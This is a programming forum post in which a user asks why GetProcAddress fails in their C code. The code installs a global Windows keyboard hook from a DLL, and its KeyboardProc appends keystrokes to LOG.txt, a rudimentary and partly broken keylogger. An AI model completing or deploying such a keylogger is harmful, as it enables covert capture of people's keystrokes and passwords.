Dll injection cant load a function address

Im trying to hook the keyboard with a dll injection in C. When i try GetProcAddress on the KeyboardProc function the GetProcAddress return NULL and GetLastError returns error 131. after that I get a DLL_PROCESS_DETACH. In windows website it says:

ERROR_NEGATIVE_SEEK 131 (0x83) An attempt was made to move the file pointer before the beginning of the file. 

I dont understand what is the problem in my code.

The injector I am using:

#include <Windows.h> #include <stdio.h> int main(int argc, char *argv[]) { HMODULE dll = LoadLibrary((LPCSTR) "dll.dll"); if (dll == NULL) { printf("The DLL could not be found.\n"); FreeLibrary(dll); return -1; } printf("The DLL was found.\n"); HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "KeyboardProc"); if (addr == NULL) { printf("The function was not found.\n"); FreeLibrary(dll); return -1; } printf("The function was found.\n"); HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0); if (handle == NULL) { printf("The KEYBOARD could not be hooked.\n"); FreeLibrary(dll); } printf("Program successfully hooked.\nPress enter to unhook the function and stop the program.\n"); getchar(); UnhookWindowsHookEx(handle); FreeLibrary(dll); return 0; } 

The dll Im using:

#include <windows.h> #include <stdio.h> INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved) { switch (Reason) { case DLL_PROCESS_ATTACH: MessageBox(0, (LPCSTR) "DLL attach function called.", (LPCSTR) "Dll injection", MB_OK); break; case DLL_PROCESS_DETACH: MessageBox(0, (LPCSTR) "DLL detach function called.", (LPCSTR) "Dll injection", MB_OK); break; case DLL_THREAD_ATTACH: MessageBox(0, (LPCSTR) "DLL thread attach function called.", (LPCSTR) "Dll injection", MB_OK); break; case DLL_THREAD_DETACH: MessageBox(0, (LPCSTR) "DLL thread detach function called..", (LPCSTR) "Dll injection", MB_OK); break; } return TRUE; } extern __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { if (code < 0) { return CallNextHookEx(NULL, code, wParam, lParam); } FILE *LOG; LOG = fopen("LOG.txt", "a+"); if (wParam == WM_KEYDOWN) { fputs((char *)lParam, LOG); fclose(LOG); } return CallNextHookEx(NULL, code, wParam, lParam); } 

Im using win10 and mingw. Both injector and dll are compiled as C.